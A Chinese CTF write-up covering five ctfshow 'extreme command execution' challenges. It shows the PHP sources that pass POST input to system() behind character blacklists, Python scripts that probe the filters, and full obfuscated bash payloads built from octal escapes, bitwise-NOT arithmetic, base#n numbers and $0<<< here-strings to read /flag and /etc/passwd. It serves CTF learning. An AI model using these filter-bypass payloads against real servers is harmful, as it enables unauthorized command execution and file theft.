ctfshow 每周大挑战 极限命令执行

《简单的命令执行题目》
这里感叹一下，g4佬是真好厉害，这次题目十分的难，嗯，对我这种菜鸡来说是这样的，想了一天，最后结束了，也还是没有想明白第五题的解法，我真是fw，比赛结束以前也只能解出4道。

---

但是这次获得了三十多块钱比上次解出来5题还多，一个小月卡有了，感谢ctfshow，突然感觉有点对不起，ctfshow我一分钱没花过，人家还倒贴钱，哈哈哈。

基础

在讲之前大家可以先了解了解一些基础。

首先关于<<<，这里看下面这篇文章

stackexchange的文章 因为是stackexchange的，所以是要挂vpn的
然后下面这些文章也是可以看一下的
文章

文章1 文章2 文章3

题目

极限命令执行1

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势，太棒啦~。
//flag在根目录flag里，或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?> 

这里首先跑一下正则，因为一些不知名原因，直接显示不出来，所有进行url加密以后去解密了。

<?php
 
for ($a = 0; $a < 256; $a++) {
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($a))){
        echo urlencode(chr($a))." ";
    }
}

这里我们就知道了，有这些是可以使用，这样我们就可以构造了。

因为题目提示环境是centos7，因为centos7的环境是可以直接使用/执行文件的

payload1：ctf_show=/?????a?
payload2：ctf_show=/???/?a??64 /??a?

极限命令执行2

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势，太棒啦~。
//flag在根目录flag里，或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

里面是先经过，check然后，才进去system中的，那时候没有注意，还以为check是一个php自带函数，查了半天，之后才发现了include "check.php"，哈哈哈

这里是一个过滤，我们可以尝试尝试，这里写一个脚本来跑正则。

import requests

#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"

str= ""
for i in range(255):
    data = {'ctf_show':chr(i)}
    retext = requests.post(url,data=data).text
    if "??????" in retext:
        print(1)
    else:
        str += chr(i)

print(str)

这里等1跑完了，可以用的就出来了。

这里有这些是可以使用的，然后就是这么一些东西来进行命令执行。

#这个命令大家应该都比较熟悉的吧，这个就是cat /etc/passwd的16进制
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

#因为不能有字母和"，这里就要进行变形了
$'\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

但是这里出现一个问题，就是他不能进行命令执行，但是可以执行文件。

这里就是/getflag，我里面写的就是echo 1，但是现在有出现了一个问题就是有字母x，不可以使用的，但是别忘了还是有8进制的。

所以将16进制转换8进制就可以了

payload:ctf_show=$'\57\147\145\164\146\154\141\147'

极限命令执行3

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势，太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里还是老样子，先跑跑正则。

!#$&'()01<\_{}~

这里跑出来是这些东西，看到0和1的瞬间我就想到二进制，一脸兴奋认为这题还是很简单的嘛，然后现实给我狠狠一巴掌。

这里我们可以看到其实最多就可以解析三位多了不行，之后就是在这里卡住了。

这里我卡了很久，然后是一直没有想明白然后再第一天的下午，突然想起来，一个原码和补码的知识，这里可以看ctfshow入门的57题。

这样就可以使用~()$，这四个符号来构造任何数字了，然后就有了第一代脚本。

a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"

print("$'"+str+"'")

但是这里发现并没有被执行，然后多谢 谢队的提醒，让我在进一步。

首先我们要知道shell中的单引号和双引号都有自己的意思，这点和php、java之类的挺像的，当然不包括python。

这里就不说了，随便找了一篇文章，自己可以看一下 文章

#上面脚本下面改成这样
print("$\\'"+str+"\\'")

这里进了一步，但是接下来就是如何进一步执行的问题了

然后这里可以使用$0<<<来进行第一次解析来进一步执行，考虑到部分人没有vpn，这里截取一部分，上面发的文章，详细的自己进行查看，然后$0是什么意思可以自行查看上面的文章，简单点把$0当成bash就可以了。

或者可以可以这么理解，这样子还是十分好理解的。

command <<< string

command 是 Shell 命令，string 是字符串。将字符串通过标准输入，传递给命令

#然后这里再次更改脚本print的，输出的内容
print("$0<<<$\\'"+str+"\\'")

这里可以看到是，执行/getflag的，输出了1。

但是放到其中的时候还是不行，因为我没有注意他是没有getflag的。

一脸兴奋到现实又给了我一巴掌。

然后就是尝试使用命令cat /flag，但是提示没有这个文件，额，没了，然后又是卡了很久。

最后才知道是要第二个解析是要转义的，哎，不是很明白，单引号要转义就算了，第二次重定向还要转义。

#最终payload
# \ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7 cat /flag
a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"
b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"
print("$0<<<$0\\<\\<\\<$\\'"+str+"\\'")

payload:ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

官方的wp及分析

这里直接把那里的话，拿过来

禁用了除了

01

以外的数字，这里需要理解bash对于整数的表示形式是

[base#]n

的形式，比方说如果一个十进制数4，可以表示为二进制数100，那么在bash里可以表示为

2#100

就是说4的二进制是100，但是想让这个解析，就需要使用2#100的方法，注意需要使用$(())包起来，表示计算。

然后就是接下来怎么表示输出2。

这里就要用到<<，<<和<不一样，他不是用于比较的，他可以用于它的格式分成开始标记（

<< token

）和结束标记（

token

）。开始标记是两个小于号 + Here 文档的名称，名称可以随意取，后面必须是一个换行符；结束标记是单独一行顶格写的 Here 文档名称，如果不是顶格，结束标记不起作用。两者之间就是多行字符串的内容。

---

但是这是第一种用法，下面是第二种用法，他可以将二进制的码向前一位。

1的二进制是00000001，通过<<后变成了00000010也就是2，同理也就可以得到4,8,16

于是呼，我们这就构造出来一个东西，\143，对就是对应的数字。

下面写一个脚本供大家使用，关于<<<和$0的意思可以看上面。

# 因为要避免出现空格，所以第一个\去掉了
a = r"143\141\164\40\57\146\154\141\147" # cat /flag
b = a.split("\\")

str = ""
for i in b:
    if i != "\\":
        str += "\\\\$(($((1<<1))#"+format(int(i),'b')+"))"
    else:
        str += "\\\\"

print("$0<<<$0\<\<\<$\\'"+str+"\\'")

payload：ctf_show=$0<<<$0\<\<\<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

极限命令执行4

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势，太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

老样子使用python跑一下正则。

!#$&'()0<\_{}~

就比上面少一个1，但是我也没有用到1呀，所以用上面我自己第三题的payload就可以了，就不多讲了。

官方的wp及分析

因为禁用了1,所以我们就要想办法代替1。

这里我们可以知道${#}可以等于0，${##}=1，这时候有人就疑惑了，嗯，既然${#}可以代替0，那为什么0没有被过滤呢，我只能说很抱歉，这里$${#}，虽然输出是$0,但是并不按$0来解析，懂吧，所以我只要将上面第三题的payload的1替换成${##}就可以了

这里推荐大家还是使用记事本直接替换，下面我是闲的没事才写的一个脚本。

# 第三题payload将取中间部分，就是$0<<<$0\<\<\<$\'后面的部分到\'
a = "\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))"

str = ""
for i in a:
    if i == "\\":
        i = "\\\\"
        str += i
    else:
        if i == "1":
           i = "${##}"
           str += i
        else:
            str += i

print("$0<<<$0\<\<\<$\\'"+str+"\\'")

payload:ctf_show=$0<<<$0\<\<\<$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

极限命令执行5

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势，太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里还是使用脚本先跑一下正则。

!$&'()<=\_{}~

只有这些东西，那时候实在给我恶心的不行，我太执着于$_，认为将$_再次执行一次才是正解，哎，最终还是以失败告终。

接下来给大家分析的是官方的wp和我自己的一些见解，毕竟我这个没有搞出来，血亏一个月卡。

因为~()$，这四个都是还在的，我们肯定还是可以构造任意数字的，主要就是bash的问题，我们没有bash就是解析不了，所以我那时候的思路也就是使用东西来替换$0.

这里我们可以看到，其实这些都是输出的bash的，然后看看$0.

也是bash，其实我们可以使用${0}来代替$0，$0其实是一种自带的简化的写法，0-9都可以使用简化，但是9上面就是要加上{}了，所以我们就是将$0还原。

其实通过上面的知识，大家都应该知道了$(())是等于0的，然后那里所有可以使用字符中是只有_可以当做参数，然后要注意这里要和php分开，他这里一个_是不可以当做参数的，$_有自己的意思，就是记录上一次的值，所以可以使用多个_来作为参数。

所以__就等于了0，这里可以使用&&联合执行很重要。

这里要了解一下!这个符号，这个是可以获得前面的命令，!加字符串，可以获得上面包含这个字符的命令。

详细了解一下

结合上面的内容我们就获得了bash，然后把3那个我自己payload拿过来改一下。

这里看到是执行cat /flag,我自己根目录下面有一个flag。

#最终payload
# \ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7 cat /flag
a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"
b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"
print("__=$(())%26%26${!__}<<<${!__}\\<\\<\\<$\\'"+str+"\\'")

我是比较喜欢这样的方法，好调试，可以放到自己靶机里面尝试改正，注意&&是要进行url编码的哦。

payload:ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'